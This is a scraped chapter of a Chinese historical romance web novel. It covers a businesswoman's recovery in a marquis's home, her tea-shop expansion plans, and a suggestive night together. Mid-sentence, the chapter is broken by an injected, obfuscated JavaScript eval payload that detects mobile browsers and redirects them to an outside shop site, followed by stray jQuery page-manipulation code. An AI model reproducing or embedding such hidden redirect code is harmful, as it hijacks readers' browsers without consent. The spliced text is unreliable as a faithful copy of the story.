文趣网 > 其他小说 > 侯爷,你的全糖芋泥米麻薯 > 59. 伸出援手
    同样受人非议的姜玉瑶没有选择寻死,而是乘着一辆小轿离开了京城。

    念在她是从犯,并且事先出言提醒过姜甜,陆机让人对她手下留情,因此她伤势并不很严重。只是到底落了个声名狼藉,哪怕是投靠洛阳的亲戚,也寻不到什么好人家了。

    姜琴悄悄来侯府看望姜甜时跟她说,听说姜玉瑶想去庙里当姑子,青灯古佛过一辈子。

    姜甜休息了两三天后头晕恶心的状况好转了许多。

    稍有好转她便闲不下来,请人代写书信交与沁甜茶坊和沁小茶的几位掌柜。云薇的伤至少也得养一个月,她让赵掌柜兼顾两家店一阵时日。

    她这几日跟陆机同吃同住,向他了解了一下京城的人口分布,借此估算各坊各市饮品市场规模。这一算吓一跳,若她奔着饮品行业龙头而去,她预计在京城还能再开三十家门店!

    当然做生意有风险,扩张过快容易资金链断裂。但如今两家沁甜茶坊、四家沁小茶的规模还有很大的提升空间,她可不想将机会拱手让人,因此安排麾下的曹掌柜和虞掌柜加快调研,争取在两个月内再开两家店。

    用过晚膳后,姜甜在院中拄着拐杖慢慢地走。陆机在一旁护着她,她非不要他搀扶,说天天在床上躺得骨头都酥了。

    院中沿着墙开着一丛丛重瓣白栀子,香气袭人。放眼望去如雪一般,与霁雪庭的名字相得益彰。廊下还摆了两尊大水缸,缸中浮着几朵小巧的荷花,娇俏可爱。

    今日姜甜求着医师准了让婢女为她洗了头发,又能下床出来走走,看什么都无比欢喜。她笑吟吟地摸摸这个摸摸那个,念叨道,“总是用兰花熏茶单调了些,用栀子来熏也是极好的。很快到了吃新鲜莲藕的季节,不如用糖渍了做成藕丁放到奶茶里。”

    “又想着生意的事,小心头疼。”

    陆机无奈地摇摇头,从叶间捡起一朵洁白的栀子花,送到她鼻尖。

    一名婢女端着木盘从门外匆匆走过,好似目光往院内瞥了一眼,看见陆机的一刹那迅速地收回了眼神。姜甜对她有几分印象,先前时常跟在王嬷嬷身后。

    她顺势提议道,“我病情已然好转许多,我想还是尽快回我的住处去。总住在侯府毕竟不合规矩,大有不便。”

    一是落人口实,虽说侯府规矩森严,也怕有人去外头说三道四给陆机招祸。其次她身子好了之后自然要照顾生意的,总不好时常叫各位掌柜的上侯府来。哪怕魏夫人不嫌弃,他们都怕没这个胆子进门。

    还有一点是陆机管她管得太严,不让她劳心费神不让她看账本。一片好意她心领了,可是她忙了两辈子实在闲不下来,没事干就想多搞些钱。

    陆机固然知道不能长久地留她在府中,但仍不舍得这么放她回去。他若有所指地问道,“回去了,晚上还睡得着吗?”

    姜甜侧过脸看他,没有言语。

    这几日抱着陆机睡得很安慰。起初几日夜半醒来摸到一身紧致的肌肉还会吓一跳,很快便习惯了,简直是爱不释手。不过回品茗院之后就不会时不时被硌醒了,指不定还能睡得更好些。

    姜甜脸皮没那么厚,这话当然说不出口,只装做没感觉到。

    入了夜陆机在桌案前翻看卷宗、撰写密奏,姜甜在床上无所事事。陆机怕她无聊,遣人去库房里搜罗了一些侯府收藏的小玩意儿,例如宝石、美玉、木雕等,还有各类钗环首饰,任她挑选。

    可惜她对这些毫无兴趣,大喊无聊。陆机无法,只能放下书卷来陪她解闷儿。姜甜上一世无聊的时候会听音乐来打发时间,突发奇想让陆机给她弹个曲子来听。

    陆机:“……你确定吗?”

    “你们世家公子不都精通琴棋书画吗?”姜甜故意露出不虞的神情,“难道你觉得弹曲子上不了台面,不愿意弹给我听?”

    陆机不好推诿,让下人取一把琴来。知砚听到这个要求几番欲言又止。

    一盏茶时间后,霁雪庭传出了宛如弹棉花的阵阵噪音。

    姜甜笑得头疼,赶紧让他停了。

    闹了一阵后陆机去沐浴更衣,继而裹着一阵潮湿的水汽上了榻。姜甜背对着他,他们温热的身体碰到一处时,两颗心在同一刻颤抖起来。

    姜甜扬起脖子钻到他颈窝里,一双眼睛在微暗的床帘内熠熠闪着光。她低声说道,“我洗了头发,还洗了澡。你闻闻,是不是和你一个味道。”

    她清晰地看到陆机小巧的喉结明显地滚动了一下。他支着手肘看着她,还未完全晾干的头发笼在她脸侧,静静地应了一声,“嗯。香香的。”

    他的牙根又开始痒了。

    白白嫩嫩的姜甜躺在他怀里,他不敢动,怕把她碰坏了。

    “你今天……”姜甜垂下眼帘,自知很不应该,但还是忍不住撩拨道,“怎么洗了那么久?”

    “……”

    陆机的喉结又动了一下。

    他那双好看的眼睛飘忽了一记,不太熟练地扯了谎,“午后出城了一趟,身上脏。”

    姜甜默默腹诽,是身上脏还是心里脏?怎么敢做不敢当呢?

    “骗人……”她偷偷抬起眼盯住他,忽地抬手摸了摸他滚烫的耳垂,“会不会……想着我?”

    陆机被戳中心事,没想到她如此大胆,讶然地望着她。

    姜甜的眼神不闪不避。她没谈过恋爱,实在是好奇。

    “你……”陆机忍无可忍,伸出手扣住她的脸颊,大拇指有些用力地按住她不安分的嘴唇,“别说了……”

    可偏偏手上的触感让人欲罢不能。柔嫩的,带着一丝弹性,像会被他揉出汁水来一般。他还未想明白,身子已经探了下去,惩罚似的咬住她的唇。

    唇舌相接,一个弥漫着白檀香的湿淋淋的吻。

    陆机忍得头皮发麻,撤身拉开距离,动物似的甩了甩头,警告道,“你很不该招我。”

    姜甜得逞地笑了,“侯爷是正人君子。”

    “别说了。”陆机懊恼地捏住她的脸颊,又去捏她的鼻梁,不悦地朝她龇了龇牙,“我不是圣人。我只是一个普通的男子。”

    “我也是一个普通的女子。”姜甜笑嘻嘻地补充了一句,“我是色狼。”

    语毕她忽地扑上去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729257|203570||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    勾住了陆机的脖子,对着他的嘴一通乱嘬,双手熟门熟路地摸进了他的中衣上下其手。

    陆机的手感实在是太好了!

    他身上没什么体毛,肌肉摸上去像丝绸一样顺滑。蓬勃的肌肉鼓起,放松时很有弹性,随着他的动作又如山峦一般坚硬无比,再按不动了。姜甜觉得她在弹陆机这张琴,为他的每一个震颤而自满不已。

    她纤细的手指拢过他块垒分明的腹肌,感叹道,“小面包……”

    陆机起初有些抗拒,继而沉溺其中,然后有些绷不住了,抓住她在他腹肌上乱摸的手,眼神晦暗地把她压住。

    “啊……”姜甜被吓到了,鼻尖沁出一层细密的汗,“你不是……?怎么……还……?”

    陆机抓着她胡作非为的腕子按在身子两边,欺身在她上方,像猛兽死死地圈住自己的猎物。

    姜甜被凶器抵在原地,脑中一片空白。良久她才回过神来,谄媚地讨饶道,“侯爷年轻力壮,是我欠考虑了。那个……时候不早了,不如我们早些休息吧。”

    陆机的中衣被扯乱了,赤裸的胸膛在烛光中上下起伏。他忽地俯下身在姜甜的脖颈上咬了一口,疼得姜甜叫出了声。好在他立刻松了口,舔了舔自己留下的牙印滚到一边去了。

    姜甜捂着脖子,想骂他又觉着理亏。没办法,是她先拱的火。

    半晌,背对着她的陆机突然转了过来抱住她,毛茸茸的头凑在她肩窝里不看她,闷闷地说:“对不起。不是我想对你无礼……实在是……难以自抑,疼得厉害。”

    “疼?”姜甜疑惑地睁大了眼。

    “……嗯。”陆机的嗓音颇有几分委屈,“憋得狠了,会疼。”

    “……”

    姜甜拐了个弯才理解他的意思。他是在解释在沐浴时想着她自我纾^解的事。她心里顿时不是滋味。

    她真该死啊!她还觉得好玩来着,这些天没少在他身上揩油。

    “过几日就把你送回去。”陆机说着赌气的话,抱着她的手却不舍得松开。

    他的理智知道不能再这样下去。他的意志力不知还能撑多久,姜甜看起来更是色令智昏不太像有什么原则的样子。他们再这样胡闹下去,怕是真的要出事……

    他正想着这些,姜甜猝不及防地转了过来与他面对面,看着他的眼睛抓住了他。

    “嘶……你……”

    姜甜吻住了他的唇。

    陆机震惊,“不行……!”

    “有什么不行?”姜甜行事果断丝毫不拖泥带水,“我们两情相悦,早晚要成亲的。放心吧,陆家的列祖列宗不会怪罪的,是我轻薄的你。”

    陆机涨红了脸。

    今夜霁雪庭的烛火一直到丑时才熄。

    陆机抱着姜甜,脑中天人交战,犹豫究竟是该美滋滋睡去还是去跪祠堂。姜甜则背对着他装死,丢下一句“累了勿扰”尝试入睡。

    虽然侯爷害羞的模样和声音十分勾人,火热的吻也很让人目眩神迷……但她深刻地体会到什么叫做自讨苦吃。

    这个硬件和续航,实在是让她害怕了……